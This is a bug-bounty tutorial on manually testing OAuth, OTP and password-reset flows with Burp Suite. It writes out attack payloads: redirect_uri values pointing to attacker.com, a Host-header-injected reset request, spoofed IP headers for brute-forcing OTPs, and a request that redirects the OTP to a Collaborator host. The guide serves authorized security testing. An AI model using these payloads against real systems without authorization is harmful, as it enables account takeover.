THE OAUTH VULNERABILITIES

Most Bug Hunters Ignore

— And How to Find Them With Burp Suite —

A Practical, Hands-On Guide

OAuth Vulnerabilities · OTP Bypass · Password Reset Redirect Flaws

By **0xAbhiSec**
Bug Bounty Hunter & Security Researcher

TABLE OF CONTENTS

1. WHY MANUAL TESTING FINDS BUGS AUTOMATION MISSES

The Bug No Scanner Found — I was three hours into a private program when Burp Suite's Proxy tab showed something interesting: a redirect parameter tucked inside a password reset flow, completely ignored by every automated tool I'd run. That one parameter led to a full **account takeover**.

This is the reality of **manual bug hunting**: the vulnerabilities that matter most are invisible to automation. They require you to think like an attacker, manipulate flows by hand, and understand *why* something behaves the way it does.

Automated scanners are great at:

- Finding known CVEs in outdated software
- Detecting missing security headers
- Identifying obvious injection points

Automated scanners consistently miss:

- Multi-step authentication flow logic bugs
- OAuth misconfiguration involving custom redirect URIs
- OTP bypass via parameter manipulation across requests
- Redirect flaws buried inside reset tokens

These are **business logic vulnerabilities**. They require context, state, and human reasoning. No scanner understands what your application is supposed to do — only you can figure that out by walking through the flow manually.

2. SETTING UP YOUR BURP SUITE WORKFLOW

Before anything else, your environment needs to be clean and controlled.

Component	Configuration
Burp Suite	Community Edition (or Professional)
Browser	Firefox with FoxyProxy
Proxy	127.0.0.1:8080
Intercept	OFF by default (use Proxy history)
Scope	Locked to target domain only

■ **TIP:** Always use a dedicated test account — never your real credentials. Create at least two accounts (Attacker and Victim) for testing account takeover scenarios.

3. PART 1: HUNTING OAUTH VULNERABILITIES

OAuth is everywhere. And so are **OAuth misconfigurations**. The most common issues aren't exotic — they're implementation mistakes developers make when they don't fully understand the OAuth specification.

Standard OAuth 2.0 Authorization Code Flow:

1. User clicks "Login with Google"
2. App redirects to: `/oauth/authorize?response_type=code&client;_id=APP_ID&redirect;_uri=https://target.com/callback`
3. User authenticates with the provider
4. Provider redirects to: `https://target.com/callback?code=AUTH_CODE`
5. App exchanges the code for an access token
6. User is logged in

Every one of those steps is a potential attack surface.

3.1 Testing for Open Redirect in redirect_uri

This is the most common **OAuth vulnerability** and leads directly to **account takeover**.

Steps to Reproduce:

1. In Burp Proxy, find the initial OAuth authorization request
2. Send it to **Repeater**
3. Modify the `redirect_uri` parameter with these payloads:

```
Test 1 — Subdomain:
redirect_uri=https://target.com/callback

Test 2 — Path traversal:
redirect_uri=https://attacker.com.target.com/callback

Test 3 — URL encoding:
redirect_uri=https://target.com/callback/../../../attacker.com

Test 4 — Open redirect chain:
redirect_uri=https://target.com%2F@attacker.com/callback

Test 5 — Full external:
redirect_uri=https://target.com/redirect?url=https://attacker.com
```

What you're looking for: Does the provider redirect the authorization code to your attacker-controlled URL? If yes, you can steal the `code` parameter from URL logs, exchange it for a token, and take over any account that clicks your crafted link.

■■ IMPACT: Full Account Takeover via stolen authorization code.

3.2 Testing for State Parameter Bypass (CSRF in OAuth)

The `state` parameter is OAuth's CSRF protection. When it's missing or predictable, you have a problem.

Steps to Reproduce:

1. Capture the OAuth initiation request in Burp Proxy
2. Check if the `state` parameter exists
3. If it exists, test if it's validated:

• Start the OAuth flow in Browser A

• Copy the authorization URL but replace `state` with a fixed value like `12345`

• Complete the flow

• If login succeeds with a static state — it's not being validated

■■ IMPACT: An attacker can force a victim to connect their account to the attacker's OAuth session (CSRF-style account linking).

3.3 Testing for OAuth Token Leakage via Referrer

This one is subtle but effective.

Steps to Reproduce:

1. After completing an OAuth flow, check if the callback URL with the `code` parameter is ever passed to a third-party resource (analytics, CDN, social widgets)
2. In Burp Proxy, filter for requests where the `Referer` header contains `?code=`
3. If any third-party domain receives a request with the OAuth code in the `Referer` header — that's a valid **OAuth vulnerability**

■■ IMPACT: Third-party services (analytics, CDNs, social widgets) receive the OAuth authorization code, allowing token theft by anyone with access to those services.

4. PART 2: OTP BYPASS VULNERABILITIES

OTP bypass is one of the most impactful vulnerability classes in authentication testing. When successful, it completely eliminates a second factor of authentication.

4.1 The Response Manipulation Technique

This is the first thing to try on every OTP implementation.

Steps to Reproduce:

1. Set up Burp Intercept
2. Enter a valid username/password
3. When the OTP prompt appears, enter a **wrong OTP** (e.g., `000000`)
4. Intercept the response when the server returns an error
5. In Burp, modify the response body:

```
Server returns (error):
{"status": "error", "message": "Invalid OTP"}

Modify to:
{"status": "success", "message": "OTP verified"}
```

6. Forward the modified response

What to watch for: If the application makes authorization decisions based on the response body rather than server-side session state, it will let you in. *This works more often than you'd expect, especially in older or quickly-built applications.*

■■ IMPACT: Complete 2FA/OTP bypass — attacker logs in without knowing the correct OTP.

4.2 Rate Limiting Bypass on OTP Endpoints

Even when response manipulation doesn't work, rate limiting is often poorly implemented.

Steps to Reproduce:

1. Capture the OTP verification request in Burp Proxy
2. Send to **Intruder**
3. Set the OTP field as the payload position
4. Use a numeric sequential payload from `000000` to `999999`
5. Before running, try adding/modifying headers to bypass rate limiting:

```
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
```

```
X-Remote-IP: 10.0.0.1
```

6. Watch response length/status codes for the correct OTP response

Why this works: Many applications apply rate limiting based on IP. If the IP can be spoofed via headers, the rate limit is meaningless.

4.3 OTP Reuse Vulnerability

Some applications don't invalidate OTPs after use.

Steps to Reproduce:

1. Log in with a valid OTP
2. Log out immediately
3. Attempt to log in again using the **same OTP**
4. If it works — the OTP isn't being invalidated after use

■■ IMPACT: Valid OTP bypass via reuse — attacker can replay a previously valid OTP.

5. PART 3: OTP REDIRECT MANIPULATION

This is a lesser-known but highly impactful attack class at the intersection of OTP and redirect vulnerabilities.

5.1 Testing the OTP Delivery Redirect

Some applications send OTP codes to email or SMS and then redirect users to a confirmation page. If that redirect destination is controllable, the OTP can potentially be exfiltrated.

Steps to Reproduce:

1. Trigger an OTP send to your test account
2. In Burp Proxy, find the POST request that initiates OTP delivery
3. Look for parameters like: `redirect_to`, `next`, `return_url`, `callback`, `success_url`
4. Modify these to point to an external URL you control:

```
Example payload:
POST /api/auth/send-otp
Content-Type: application/json

{
"phone": "+1234567890",
"redirect_to": "https://your-collaborator.burpcollaborator.net"
}
```

5. Check Burp Collaborator (for Pro users) for incoming requests containing the OTP

■■ IMPACT: Full OTP interception without any access to the victim's phone or email.

5.2 Testing OTP in URL Parameters

Some older applications append the OTP to a redirect URL for 'convenience'.

Steps to Reproduce:

1. In Burp Proxy, search for these parameters in GET request URLs after OTP send:

`otp=`, `token=`, `code=`, `verification=`

2. If the OTP appears in the URL, it's leaking through:

• Browser history

• Server logs

• Analytics tools on the page

• Referrer headers to third parties

■■ IMPACT: OTP exposure through browser history, server logs, and analytics — anyone with log access can steal OTPs.

6. PART 4: PASSWORD RESET LINK REDIRECT FLAWS

Password reset vulnerabilities are a goldmine in bug bounty. They're common, high-impact, and often sitting in code that was written once and never revisited.

6.1 Host Header Injection in Password Reset

When exploited, this sends the victim's password reset link to an attacker-controlled server.

Steps to Reproduce:

1. Find the 'Forgot Password' endpoint
2. Capture the password reset request in Burp Proxy
3. Send to **Repeater**
4. Modify the `Host` header and add `X-Forwarded-Host`:

```
Original request:
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com

Modified request:
POST /forgot-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com
```

5. Check if the reset email sent to the victim contains: `https://attacker.com/reset?token=...`

■■ IMPACT: When the victim clicks the link, their unique reset token goes directly to the attacker. Full account takeover.

6.2 Open Redirect After Password Reset

Some applications redirect users to a configurable URL after completing a password reset.

Steps to Reproduce:

1. Click the password reset link and arrive at the reset form
2. Inspect the form or URL for redirect parameters:

`?next=`, `?return=`, `?redirect_uri=`, `?success_url=`

3. In Burp, intercept the final password reset submission

4. Inject a redirect payload:

```
POST /reset-password
token=valid_token&password;=NewPass123&confirm;=NewPass123&next;=https://attacker.com
```

5. Check if the server redirects to your attacker URL after the reset completes

■■ IMPACT: Even if the token itself is secure, this can be chained with phishing for higher impact.

6.3 Password Reset Token Leakage via Referrer

Similar to the OAuth Referrer issue — but in reset flows.

Steps to Reproduce:

1. Request a password reset and click the link
2. In Burp Proxy, look at the page the reset link loads
3. Check all outgoing requests from that page for the `Referer` header
4. Look for analytics, tracking pixels, or CDN requests where:

`Referer: https://target.com/reset?token=abc123`

5. If any third-party receives the reset URL with the token — that's a valid finding

■■ IMPACT: Reset token exposed to third-party services (analytics, CDNs, tracking pixels) — anyone with access to those services can hijack the reset.

7. QUICK REFERENCE: VULNERABILITY CHECKLIST

■ OAUTH VULNERABILITIES

- [ ] redirect_uri accepts external domains
- [ ] state parameter is missing or not validated
- [ ] OAuth code appears in Referer headers to third parties
- [ ] Token leakage via URL parameters after callback

■ OTP BYPASS

- [ ] Response manipulation from error to success
- [ ] Rate limiting bypassable via IP spoofing headers
- [ ] OTP valid after first use (no invalidation)
- [ ] OTP sent in plaintext in response body
- [ ] Numeric 6-digit OTP with no lockout

■ OTP REDIRECT MANIPULATION

- [ ] OTP delivery endpoint accepts redirect parameter
- [ ] OTP appears in GET URL after delivery
- [ ] Redirect destination is controllable pre-verification

■ PASSWORD RESET REDIRECT FLAWS

- [ ] Host header injection in reset email
- [ ] Open redirect after reset completion
- [ ] Reset token in Referer to third parties
- [ ] Reset token in URL visible to analytics scripts
- [ ] Token not invalidated after use

8. TOOLS AND EXTENSIONS WORTH HAVING

Beyond core Burp Suite, these make **manual bug hunting** significantly faster:

Tool/Extension	Purpose
Burp Collaborator Client	Detect out-of-band DNS/HTTP interactions (Host header injection, SSRF)
Logger++	Full request/response logging with filtering
Autorize	Quickly test authorization on every captured request
Param Miner	Discover hidden and unlinked parameters automatically
JWT Editor	Manipulate and forge JWT tokens in OAuth flows
Hackvertor	Encode/decode payloads in Repeater on the fly

9. REPORTING THESE BUGS

Finding the bug is half the work. The report determines your outcome.

For OAuth Vulnerabilities:

- Show the full PoC flow step-by-step
- Demonstrate actual account takeover, not just redirect
- Include screenshots of each Burp Repeater step

For OTP Bypass:

- Record the request/response showing the bypass
- Document whether rate limiting exists and how you bypassed it
- Note if 2FA is completely defeated vs. degraded

For Password Reset Flaws:

- Show the reset email with the manipulated domain
- Demonstrate that the token in the email is functional
- Chain it to full account takeover where possible

■ **TIP:** The CVSS score is your best friend. Account takeover via authentication bypass is almost always a **High or Critical** — know how to justify it.

10. CONCLUSION

The Bugs Automation Misses Are the Ones That Matter Most

If there's one thing to take away from this guide, it's this: **The best bugs in bug bounty hunting are found between the lines.**

Not in the parameters that scanners fuzz. In the logic of how authentication flows are designed. In the trust assumptions developers make. In the redirect parameters that nobody thought to validate.

OAuth vulnerabilities, **OTP bypass**, and **password reset flaws** are consistently present in modern applications because they're hard to get right and easy to get subtly wrong. And because they're logic bugs — not injection points — they stay invisible to everything except a careful, manual tester with Burp Suite and a methodical workflow.

Build the habit of mapping every authentication flow completely before you start testing. Understand what the application *should* do. Then ask: ***What happens if it doesn't?***

That question is where the real findings live.

Now go find some bugs. **Happy hunting.**

Written by 0xAbhiSec
Bug Bounty Hunter & Security Researcher

Tags: bug-bounty, ethical-hacking, cybersecurity, oauth, penetration-testing, web-security, burp-suite, account-takeover, otp-bypass, bug-hunting